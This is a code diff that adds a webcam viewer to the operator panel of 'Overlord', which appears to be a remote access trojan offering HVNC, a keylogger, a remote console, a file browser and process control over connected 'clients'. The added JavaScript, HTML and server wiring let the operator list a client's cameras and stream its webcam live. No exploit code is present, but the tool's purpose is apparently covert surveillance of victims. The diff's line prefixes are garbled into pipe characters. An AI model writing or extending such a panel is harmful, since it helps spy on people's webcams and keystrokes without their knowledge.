golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
|
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||||
|
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||||
|
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||||
nhooyr.io/websocket v1.8.10 h1:mv4p+MnGrLDcPlBoWsvPP7XCzTYMXP9F9eIGoKbgx7Q=
|
nhooyr.io/websocket v1.8.10 h1:mv4p+MnGrLDcPlBoWsvPP7XCzTYMXP9F9eIGoKbgx7Q=
|
||||||
nhooyr.io/websocket v1.8.10/go.mod h1:rN9OFWIUwuxg4fR5tELlYC04bXYowCP9GX47ivo2l+c=
|
nhooyr.io/websocket v1.8.10/go.mod h1:rN9OFWIUwuxg4fR5tELlYC04bXYowCP9GX47ivo2l+c=
|
||||||
|
|||||||
@@ -83,6 +83,9 @@ function applyMenuSupportRules(clientId) {
|
|||||||
const hvncBtn = menu.querySelector('[data-open="hvnc"]');
|
const hvncBtn = menu.querySelector('[data-open="hvnc"]');
|
||||||
setAvailability(hvncBtn, isWindows, "HVNC is only supported on Windows clients.");
|
setAvailability(hvncBtn, isWindows, "HVNC is only supported on Windows clients.");
|
||||||
|
|
||||||
|
const webcamBtn = menu.querySelector('[data-open="webcam"]');
|
||||||
|
setAvailability(webcamBtn, isWindows, "Webcam viewer is only supported on Windows clients.");
|
||||||
|
|
||||||
const keyloggerBtn = menu.querySelector('[data-open="keylogger"]');
|
const keyloggerBtn = menu.querySelector('[data-open="keylogger"]');
|
||||||
setAvailability(
|
setAvailability(
|
||||||
keyloggerBtn,
|
keyloggerBtn,
|
||||||
@@ -595,6 +598,11 @@ menu.addEventListener("click", async (e) => {
|
|||||||
closeMenu(clearContext);
|
closeMenu(clearContext);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (open === "webcam") {
|
||||||
|
window.open(`/webcam?clientId=${contextCard}`, "_blank", "noopener");
|
||||||
|
closeMenu(clearContext);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (open === "hvnc") {
|
if (open === "hvnc") {
|
||||||
window.open(`/hvnc?clientId=${contextCard}`, "_blank", "noopener");
|
window.open(`/hvnc?clientId=${contextCard}`, "_blank", "noopener");
|
||||||
closeMenu(clearContext);
|
closeMenu(clearContext);
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ menu.innerHTML = `
|
|||||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-emerald-800 bg-emerald-900/50 hover:bg-emerald-800/70 text-emerald-100 flex items-center gap-2" data-open="console"><i class="fa-solid fa-terminal"></i> Open Console</button>
|
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-emerald-800 bg-emerald-900/50 hover:bg-emerald-800/70 text-emerald-100 flex items-center gap-2" data-open="console"><i class="fa-solid fa-terminal"></i> Open Console</button>
|
||||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-teal-800 bg-teal-900/45 hover:bg-teal-800/65 text-teal-100 flex items-center gap-2" data-open="voice"><i class="fa-solid fa-headset"></i> Voice Support</button>
|
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-teal-800 bg-teal-900/45 hover:bg-teal-800/65 text-teal-100 flex items-center gap-2" data-open="voice"><i class="fa-solid fa-headset"></i> Voice Support</button>
|
||||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-purple-800 bg-purple-900/50 hover:bg-purple-800/70 text-purple-100 flex items-center gap-2" data-open="remotedesktop"><i class="fa-solid fa-desktop"></i> Remote Desktop</button>
|
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-purple-800 bg-purple-900/50 hover:bg-purple-800/70 text-purple-100 flex items-center gap-2" data-open="remotedesktop"><i class="fa-solid fa-desktop"></i> Remote Desktop</button>
|
||||||
|
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-emerald-800 bg-emerald-900/45 hover:bg-emerald-800/65 text-emerald-100 flex items-center gap-2" data-open="webcam"><i class="fa-solid fa-video"></i> Webcam Viewer</button>
|
||||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-violet-800 bg-violet-900/50 hover:bg-violet-800/70 text-violet-100 flex items-center gap-2" data-open="hvnc"><i class="fa-solid fa-ghost"></i> HVNC</button>
|
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-violet-800 bg-violet-900/50 hover:bg-violet-800/70 text-violet-100 flex items-center gap-2" data-open="hvnc"><i class="fa-solid fa-ghost"></i> HVNC</button>
|
||||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-blue-800 bg-blue-900/50 hover:bg-blue-800/70 text-blue-100 flex items-center gap-2" data-open="files"><i class="fa-solid fa-folder-tree"></i> File Browser</button>
|
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-blue-800 bg-blue-900/50 hover:bg-blue-800/70 text-blue-100 flex items-center gap-2" data-open="files"><i class="fa-solid fa-folder-tree"></i> File Browser</button>
|
||||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-orange-800 bg-orange-900/50 hover:bg-orange-800/70 text-orange-100 flex items-center gap-2" data-open="processes"><i class="fa-solid fa-list-check"></i> Process Manager</button>
|
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-orange-800 bg-orange-900/50 hover:bg-orange-800/70 text-orange-100 flex items-center gap-2" data-open="processes"><i class="fa-solid fa-list-check"></i> Process Manager</button>
|
||||||
|
|||||||
@@ -0,0 +1,379 @@
|
|||||||
|
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||||
|
|
||||||
|
(function () {
|
||||||
|
const clientId = new URLSearchParams(location.search).get("clientId");
|
||||||
|
if (!clientId) {
|
||||||
|
alert("Missing clientId");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const clientLabel = document.getElementById("clientLabel");
|
||||||
|
const startBtn = document.getElementById("startBtn");
|
||||||
|
const stopBtn = document.getElementById("stopBtn");
|
||||||
|
const cameraSelect = document.getElementById("cameraSelect");
|
||||||
|
const refreshCameras = document.getElementById("refreshCameras");
|
||||||
|
const fpsInput = document.getElementById("fpsInput");
|
||||||
|
const applyFps = document.getElementById("applyFps");
|
||||||
|
const viewerFps = document.getElementById("viewerFps");
|
||||||
|
const statusEl = document.getElementById("streamStatus");
|
||||||
|
const canvas = document.getElementById("frameCanvas");
|
||||||
|
const ctx = canvas.getContext("2d");
|
||||||
|
|
||||||
|
clientLabel.textContent = clientId;
|
||||||
|
|
||||||
|
let ws = null;
|
||||||
|
let desiredStreaming = false;
|
||||||
|
let streamState = "connecting";
|
||||||
|
let renderCount = 0;
|
||||||
|
let renderWindowStart = performance.now();
|
||||||
|
let videoDecoder = null;
|
||||||
|
let h264TimestampUs = 0;
|
||||||
|
let availableDevices = [];
|
||||||
|
let selectedDeviceIndex = 0;
|
||||||
|
|
||||||
|
function selectedDeviceMaxFps() {
|
||||||
|
const selected = availableDevices.find((dev) => (Number(dev.index) || 0) === selectedDeviceIndex);
|
||||||
|
const max = Number(selected?.maxFps) || 0;
|
||||||
|
return max > 0 ? Math.min(120, max) : 120;
|
||||||
|
}
|
||||||
|
|
||||||
|
function applyFpsInputLimits() {
|
||||||
|
const maxFps = selectedDeviceMaxFps();
|
||||||
|
fpsInput.max = String(maxFps);
|
||||||
|
const current = Number(fpsInput.value) || 30;
|
||||||
|
if (current > maxFps) {
|
||||||
|
fpsInput.value = String(maxFps);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function applyFpsSettings() {
|
||||||
|
if (streamState === "streaming" || streamState === "starting" || streamState === "stopping") {
|
||||||
|
setStreamState("error", "Stop stream before changing FPS");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const maxFps = selectedDeviceMaxFps();
|
||||||
|
const fps = Math.max(1, Math.min(maxFps, Number(fpsInput.value) || 30));
|
||||||
|
if ((Number(fpsInput.value) || 30) > maxFps) {
|
||||||
|
fpsInput.value = String(maxFps);
|
||||||
|
setStreamState("idle", `FPS capped to camera max (${maxFps})`);
|
||||||
|
}
|
||||||
|
send("webcam_set_fps", { fps, useMax: false });
|
||||||
|
}
|
||||||
|
|
||||||
|
function requestCameraList() {
|
||||||
|
send("webcam_list");
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderCameraList(devices, selected) {
|
||||||
|
availableDevices = Array.isArray(devices) ? devices : [];
|
||||||
|
cameraSelect.innerHTML = "";
|
||||||
|
if (!availableDevices.length) {
|
||||||
|
const opt = document.createElement("option");
|
||||||
|
opt.value = "0";
|
||||||
|
opt.textContent = "No cameras detected";
|
||||||
|
cameraSelect.appendChild(opt);
|
||||||
|
cameraSelect.disabled = true;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
cameraSelect.disabled = false;
|
||||||
|
for (const dev of availableDevices) {
|
||||||
|
const idx = Number(dev.index) || 0;
|
||||||
|
const maxFps = Number(dev.maxFps) || 0;
|
||||||
|
const opt = document.createElement("option");
|
||||||
|
opt.value = String(idx);
|
||||||
|
opt.textContent = maxFps > 0
|
||||||
|
? `${dev.name || `Camera ${idx + 1}`} (max ${maxFps} FPS)`
|
||||||
|
: (dev.name || `Camera ${idx + 1}`);
|
||||||
|
cameraSelect.appendChild(opt);
|
||||||
|
}
|
||||||
|
selectedDeviceIndex = Number(selected) || 0;
|
||||||
|
const selectedOpt = Array.from(cameraSelect.options).find((o) => Number(o.value) === selectedDeviceIndex);
|
||||||
|
if (selectedOpt) {
|
||||||
|
cameraSelect.value = selectedOpt.value;
|
||||||
|
} else if (cameraSelect.options.length) {
|
||||||
|
cameraSelect.value = cameraSelect.options[0].value;
|
||||||
|
}
|
||||||
|
selectedDeviceIndex = Number(cameraSelect.value) || 0;
|
||||||
|
applyFpsInputLimits();
|
||||||
|
}
|
||||||
|
|
||||||
|
function isH264KeyFrame(data) {
|
||||||
|
for (let i = 0; i + 4 < data.length; i++) {
|
||||||
|
let startCodeLen = 0;
|
||||||
|
if (data[i] === 0x00 && data[i + 1] === 0x00 && data[i + 2] === 0x01) {
|
||||||
|
startCodeLen = 3;
|
||||||
|
} else if (
|
||||||
|
i + 4 < data.length &&
|
||||||
|
data[i] === 0x00 &&
|
||||||
|
data[i + 1] === 0x00 &&
|
||||||
|
data[i + 2] === 0x00 &&
|
||||||
|
data[i + 3] === 0x01
|
||||||
|
) {
|
||||||
|
startCodeLen = 4;
|
||||||
|
}
|
||||||
|
if (!startCodeLen) continue;
|
||||||
|
const nalIndex = i + startCodeLen;
|
||||||
|
if (nalIndex >= data.length) break;
|
||||||
|
const nalType = data[nalIndex] & 0x1f;
|
||||||
|
if (nalType === 5) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
i = nalIndex;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
function destroyVideoDecoder() {
|
||||||
|
if (!videoDecoder) return;
|
||||||
|
try {
|
||||||
|
videoDecoder.close();
|
||||||
|
} catch {}
|
||||||
|
videoDecoder = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
function ensureVideoDecoder() {
|
||||||
|
if (videoDecoder) return true;
|
||||||
|
if (typeof VideoDecoder !== "function") return false;
|
||||||
|
try {
|
||||||
|
videoDecoder = new VideoDecoder({
|
||||||
|
output: (frame) => {
|
||||||
|
const width = frame.displayWidth || frame.codedWidth || canvas.width;
|
||||||
|
const height = frame.displayHeight || frame.codedHeight || canvas.height;
|
||||||
|
if (width > 0 && height > 0 && (canvas.width !== width || canvas.height !== height)) {
|
||||||
|
canvas.width = width;
|
||||||
|
canvas.height = height;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
ctx.drawImage(frame, 0, 0, canvas.width, canvas.height);
|
||||||
|
} finally {
|
||||||
|
frame.close();
|
||||||
|
}
|
||||||
|
},
|
||||||
|
error: (err) => {
|
||||||
|
console.warn("webcam h264 decoder error", err);
|
||||||
|
},
|
||||||
|
});
|
||||||
|
videoDecoder.configure({ codec: "avc1.42E01E", optimizeForLatency: true });
|
||||||
|
h264TimestampUs = 0;
|
||||||
|
return true;
|
||||||
|
} catch (err) {
|
||||||
|
console.warn("webcam h264 decoder unavailable", err);
|
||||||
|
destroyVideoDecoder();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function setStreamState(state, text) {
|
||||||
|
streamState = state;
|
||||||
|
const icons = {
|
||||||
|
connecting: '<i class="fa-solid fa-circle-notch fa-spin"></i>',
|
||||||
|
starting: '<i class="fa-solid fa-circle-notch fa-spin"></i>',
|
||||||
|
stopping: '<i class="fa-solid fa-circle-notch fa-spin"></i>',
|
||||||
|
streaming: '<i class="fa-solid fa-circle text-emerald-400"></i>',
|
||||||
|
idle: '<i class="fa-solid fa-circle text-slate-400"></i>',
|
||||||
|
offline: '<i class="fa-solid fa-plug-circle-xmark text-rose-400"></i>',
|
||||||
|
disconnected: '<i class="fa-solid fa-link-slash text-slate-400"></i>',
|
||||||
|
error: '<i class="fa-solid fa-circle-exclamation text-rose-400"></i>',
|
||||||
|
};
|
||||||
|
const label = text ||
|
||||||
|
(state === "streaming" ? "Streaming" :
|
||||||
|
state === "starting" ? "Starting" :
|
||||||
|
state === "stopping" ? "Stopping" :
|
||||||
|
state === "offline" ? "Client offline" :
|
||||||
|
state === "disconnected" ? "Disconnected" :
|
||||||
|
state === "error" ? "Error" :
|
||||||
|
"Stopped");
|
||||||
|
|
||||||
|
statusEl.innerHTML = `${icons[state] || icons.idle} <span>${label}</span>`;
|
||||||
|
|
||||||
|
const wsOpen = ws && ws.readyState === WebSocket.OPEN;
|
||||||
|
const streamLocked = streamState === "streaming" || streamState === "starting" || streamState === "stopping";
|
||||||
|
startBtn.disabled = !wsOpen || streamState === "starting" || streamState === "streaming";
|
||||||
|
stopBtn.disabled = !wsOpen || (streamState !== "starting" && streamState !== "streaming");
|
||||||
|
refreshCameras.disabled = !wsOpen;
|
||||||
|
applyFps.disabled = !wsOpen || streamLocked;
|
||||||
|
fpsInput.disabled = !wsOpen || streamLocked;
|
||||||
|
|
||||||
|
if (state === "idle" || state === "offline" || state === "disconnected" || state === "error") {
|
||||||
|
viewerFps.textContent = "--";
|
||||||
|
renderCount = 0;
|
||||||
|
renderWindowStart = performance.now();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateViewerFps() {
|
||||||
|
const now = performance.now();
|
||||||
|
renderCount += 1;
|
||||||
|
const elapsed = now - renderWindowStart;
|
||||||
|
if (elapsed >= 1000) {
|
||||||
|
viewerFps.textContent = String(Math.round((renderCount * 1000) / elapsed));
|
||||||
|
renderCount = 0;
|
||||||
|
renderWindowStart = now;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function drawJpeg(bytes) {
|
||||||
|
const blob = new Blob([bytes], { type: "image/jpeg" });
|
||||||
|
const bitmap = await createImageBitmap(blob);
|
||||||
|
canvas.width = bitmap.width;
|
||||||
|
canvas.height = bitmap.height;
|
||||||
|
ctx.drawImage(bitmap, 0, 0, bitmap.width, bitmap.height);
|
||||||
|
bitmap.close();
|
||||||
|
updateViewerFps();
|
||||||
|
setStreamState("streaming", "Streaming");
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleFrame(data) {
|
||||||
|
const bytes = new Uint8Array(data);
|
||||||
|
if (bytes.length < 8) return;
|
||||||
|
if (bytes[0] !== 0x46 || bytes[1] !== 0x52 || bytes[2] !== 0x4d) return;
|
||||||
|
const format = bytes[6];
|
||||||
|
const payload = bytes.slice(8);
|
||||||
|
if (!payload.length) return;
|
||||||
|
if (format === 1) {
|
||||||
|
drawJpeg(payload).catch((err) => {
|
||||||
|
console.warn("webcam draw failed", err, "payloadBytes=", payload.length);
|
||||||
|
});
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (format === 4) {
|
||||||
|
if (!ensureVideoDecoder()) {
|
||||||
|
setStreamState("error", "H264 decoder unavailable in browser");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
const isKey = isH264KeyFrame(payload);
|
||||||
|
const chunk = new EncodedVideoChunk({
|
||||||
|
type: isKey ? "key" : "delta",
|
||||||
|
timestamp: h264TimestampUs,
|
||||||
|
data: payload,
|
||||||
|
});
|
||||||
|
h264TimestampUs += 66_666;
|
||||||
|
videoDecoder.decode(chunk);
|
||||||
|
updateViewerFps();
|
||||||
|
setStreamState("streaming", "Streaming");
|
||||||
|
} catch (err) {
|
||||||
|
console.warn("webcam h264 decode failed", err, "payloadBytes=", payload.length);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
console.warn("webcam unsupported frame format", format, "payloadBytes=", payload.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
function send(type, payload = {}) {
|
||||||
|
if (!ws || ws.readyState !== WebSocket.OPEN) return;
|
||||||
|
ws.send(encodeMsgpack({ type, ...payload }));
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleControlMessage(msg) {
|
||||||
|
if (!msg || typeof msg !== "object") return;
|
||||||
|
if (msg.type === "webcam_devices") {
|
||||||
|
renderCameraList(msg.devices, msg.selected);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (msg.type === "ready") {
|
||||||
|
setStreamState("idle", "Ready");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (msg.type === "status") {
|
||||||
|
if (msg.status === "offline") {
|
||||||
|
desiredStreaming = false;
|
||||||
|
setStreamState("offline", msg.reason || "Client offline");
|
||||||
|
} else if (msg.status === "connecting") {
|
||||||
|
setStreamState("idle", "Ready");
|
||||||
|
} else if (msg.status === "online") {
|
||||||
|
setStreamState("idle", "Ready");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function connect() {
|
||||||
|
const protocol = location.protocol === "https:" ? "wss://" : "ws://";
|
||||||
|
ws = new WebSocket(`${protocol}${location.host}/api/clients/${clientId}/webcam/ws`);
|
||||||
|
ws.binaryType = "arraybuffer";
|
||||||
|
setStreamState("connecting", "Connecting");
|
||||||
|
|
||||||
|
ws.onopen = () => {
|
||||||
|
requestCameraList();
|
||||||
|
applyFpsSettings();
|
||||||
|
if (desiredStreaming) {
|
||||||
|
send("webcam_start");
|
||||||
|
setStreamState("starting", "Starting");
|
||||||
|
} else {
|
||||||
|
setStreamState("idle", "Stopped");
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
ws.onmessage = (event) => {
|
||||||
|
if (event.data instanceof ArrayBuffer) {
|
||||||
|
const bytes = new Uint8Array(event.data);
|
||||||
|
if (bytes.length >= 4 && bytes[0] === 0x46 && bytes[1] === 0x52 && bytes[2] === 0x4d) {
|
||||||
|
handleFrame(event.data);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const msg = decodeMsgpack(event.data);
|
||||||
|
handleControlMessage(msg);
|
||||||
|
};
|
||||||
|
|
||||||
|
ws.onclose = () => {
|
||||||
|
setStreamState("disconnected", "Disconnected");
|
||||||
|
setTimeout(connect, 3000);
|
||||||
|
};
|
||||||
|
|
||||||
|
ws.onerror = () => {
|
||||||
|
setStreamState("error", "Connection error");
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
startBtn.addEventListener("click", () => {
|
||||||
|
desiredStreaming = true;
|
||||||
|
applyFpsSettings();
|
||||||
|
send("webcam_start");
|
||||||
|
setStreamState("starting", "Starting");
|
||||||
|
});
|
||||||
|
|
||||||
|
stopBtn.addEventListener("click", () => {
|
||||||
|
desiredStreaming = false;
|
||||||
|
send("webcam_stop");
|
||||||
|
setStreamState("stopping", "Stopping");
|
||||||
|
setTimeout(() => {
|
||||||
|
if (streamState === "stopping") {
|
||||||
|
setStreamState("idle", "Stopped");
|
||||||
|
}
|
||||||
|
}, 300);
|
||||||
|
});
|
||||||
|
|
||||||
|
window.addEventListener("beforeunload", () => {
|
||||||
|
if (ws && ws.readyState === WebSocket.OPEN) {
|
||||||
|
send("webcam_stop");
|
||||||
|
}
|
||||||
|
destroyVideoDecoder();
|
||||||
|
});
|
||||||
|
|
||||||
|
refreshCameras.addEventListener("click", () => {
|
||||||
|
requestCameraList();
|
||||||
|
});
|
||||||
|
|
||||||
|
cameraSelect.addEventListener("change", () => {
|
||||||
|
const index = Number(cameraSelect.value) || 0;
|
||||||
|
selectedDeviceIndex = index;
|
||||||
|
applyFpsInputLimits();
|
||||||
|
send("webcam_select", { index });
|
||||||
|
});
|
||||||
|
|
||||||
|
fpsInput.addEventListener("input", () => {
|
||||||
|
const maxFps = selectedDeviceMaxFps();
|
||||||
|
const val = Number(fpsInput.value);
|
||||||
|
if (Number.isFinite(val) && val > maxFps) {
|
||||||
|
fpsInput.value = String(maxFps);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
applyFps.addEventListener("click", () => {
|
||||||
|
applyFpsSettings();
|
||||||
|
});
|
||||||
|
|
||||||
|
connect();
|
||||||
|
})();
|
||||||
@@ -0,0 +1,105 @@
|
|||||||
|
<!doctype html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<title>Overlord Webcam Viewer</title>
|
||||||
|
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
|
||||||
|
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||||
|
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
|
||||||
|
<link
|
||||||
|
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap"
|
||||||
|
rel="stylesheet"
|
||||||
|
/>
|
||||||
|
<link rel="stylesheet" href="/assets/tailwind.css" />
|
||||||
|
<link
|
||||||
|
rel="stylesheet"
|
||||||
|
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
|
||||||
|
crossorigin="anonymous"
|
||||||
|
referrerpolicy="no-referrer"
|
||||||
|
/>
|
||||||
|
<link rel="stylesheet" href="/assets/main.css" />
|
||||||
|
<link rel="stylesheet" href="/assets/console.css" />
|
||||||
|
<script src="/assets/logout.js"></script>
|
||||||
|
</head>
|
||||||
|
<body class="min-h-screen bg-slate-950 text-slate-100">
|
||||||
|
<header id="top-nav"></header>
|
||||||
|
|
||||||
|
<main class="px-5 py-6 flex-1 flex flex-col">
|
||||||
|
<div class="flex-1 flex flex-col gap-4" style="max-width: 100%">
|
||||||
|
<div class="flex flex-wrap gap-3 items-center">
|
||||||
|
<div
|
||||||
|
class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3"
|
||||||
|
>
|
||||||
|
<label class="text-sm text-slate-300" for="cameraSelect">Camera</label>
|
||||||
|
<select
|
||||||
|
id="cameraSelect"
|
||||||
|
class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100 min-w-56"
|
||||||
|
></select>
|
||||||
|
<button id="refreshCameras" class="button ghost">
|
||||||
|
<i class="fa-solid fa-rotate"></i><span>Refresh</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div
|
||||||
|
class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 text-sm text-slate-300"
|
||||||
|
>
|
||||||
|
<label class="flex items-center gap-2 text-slate-200" for="fpsInput">
|
||||||
|
<span>FPS</span>
|
||||||
|
<input id="fpsInput" type="number" min="1" max="120" value="30" class="bg-slate-800 border border-slate-700 rounded px-2 py-1 w-20 text-slate-100" />
|
||||||
|
</label>
|
||||||
|
<button id="applyFps" class="button ghost">
|
||||||
|
<i class="fa-solid fa-sliders"></i><span>Apply</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="flex items-center gap-2">
|
||||||
|
<button id="startBtn" class="button primary">
|
||||||
|
<i class="fa-solid fa-play"></i><span>Start</span>
|
||||||
|
</button>
|
||||||
|
<button id="stopBtn" class="button ghost">
|
||||||
|
<i class="fa-solid fa-stop"></i><span>Stop</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div
|
||||||
|
id="streamStatus"
|
||||||
|
class="inline-flex items-center gap-2 px-3 py-2 rounded-full bg-slate-800 text-slate-300 border border-slate-700 text-sm"
|
||||||
|
>
|
||||||
|
<i class="fa-solid fa-circle-notch fa-spin"></i>
|
||||||
|
<span>Connecting</span>
|
||||||
|
</div>
|
||||||
|
<div
|
||||||
|
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
|
||||||
|
>
|
||||||
|
<span class="uppercase tracking-wide text-xs text-slate-500">fps</span>
|
||||||
|
<span id="viewerFps" class="pill pill-ghost font-mono text-sky-200">--</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div
|
||||||
|
id="canvasContainer"
|
||||||
|
class="flex-1 rounded-xl border border-slate-800 bg-slate-900/70 shadow-lg overflow-hidden flex flex-col"
|
||||||
|
style="min-height: 500px"
|
||||||
|
>
|
||||||
|
<div class="p-3 text-sm text-slate-400 flex-shrink-0">
|
||||||
|
Client: <span id="clientLabel" class="text-slate-100">-</span>
|
||||||
|
</div>
|
||||||
|
<div
|
||||||
|
class="flex-1 flex items-center justify-center p-4"
|
||||||
|
style="min-height: 0; overflow: hidden"
|
||||||
|
>
|
||||||
|
<canvas
|
||||||
|
id="frameCanvas"
|
||||||
|
class="bg-slate-950"
|
||||||
|
width="1280"
|
||||||
|
height="720"
|
||||||
|
style="display: block; max-width: 100%; max-height: 100%; width: auto; height: auto;"
|
||||||
|
></canvas>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</main>
|
||||||
|
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
|
||||||
|
<script type="module" src="/assets/nav.js"></script>
|
||||||
|
<script type="module" src="/assets/webcam.js"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -72,6 +72,9 @@ import {
|
|||||||
handleConsoleViewerOpen,
|
handleConsoleViewerOpen,
|
||||||
handleHVNCViewerMessage,
|
handleHVNCViewerMessage,
|
||||||
handleHVNCViewerOpen,
|
handleHVNCViewerOpen,
|
||||||
|
handleWebcamViewerMessage,
|
||||||
|
handleWebcamViewerOpen,
|
||||||
|
handleWebcamDevices,
|
||||||
handleRemoteDesktopViewerMessage,
|
handleRemoteDesktopViewerMessage,
|
||||||
handleRemoteDesktopViewerOpen,
|
handleRemoteDesktopViewerOpen,
|
||||||
hvncStreamingState,
|
hvncStreamingState,
|
||||||
@@ -79,6 +82,7 @@ import {
|
|||||||
notifyRdInputLatency,
|
notifyRdInputLatency,
|
||||||
notifyRemoteDesktopStatus,
|
notifyRemoteDesktopStatus,
|
||||||
rdStreamingState,
|
rdStreamingState,
|
||||||
|
webcamStreamingState,
|
||||||
sendDesktopCommand,
|
sendDesktopCommand,
|
||||||
sendHVNCCommand,
|
sendHVNCCommand,
|
||||||
stopConsoleOnTarget,
|
stopConsoleOnTarget,
|
||||||
@@ -238,7 +242,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({
|
|||||||
savePluginState,
|
savePluginState,
|
||||||
});
|
});
|
||||||
|
|
||||||
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer";
|
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer";
|
||||||
|
|
||||||
type PendingScript = {
|
type PendingScript = {
|
||||||
resolve: (result: any) => void;
|
resolve: (result: any) => void;
|
||||||
@@ -358,9 +362,11 @@ async function startServer() {
|
|||||||
pendingCommandReplies,
|
pendingCommandReplies,
|
||||||
rdStreamingState,
|
rdStreamingState,
|
||||||
hvncStreamingState,
|
hvncStreamingState,
|
||||||
|
webcamStreamingState,
|
||||||
getNotificationConfig,
|
getNotificationConfig,
|
||||||
handleConsoleViewerOpen,
|
handleConsoleViewerOpen,
|
||||||
handleRemoteDesktopViewerOpen,
|
handleRemoteDesktopViewerOpen,
|
||||||
|
handleWebcamViewerOpen,
|
||||||
handleHVNCViewerOpen,
|
handleHVNCViewerOpen,
|
||||||
handleFileBrowserViewerOpen,
|
handleFileBrowserViewerOpen,
|
||||||
handleProcessViewerOpen,
|
handleProcessViewerOpen,
|
||||||
@@ -370,6 +376,7 @@ async function startServer() {
|
|||||||
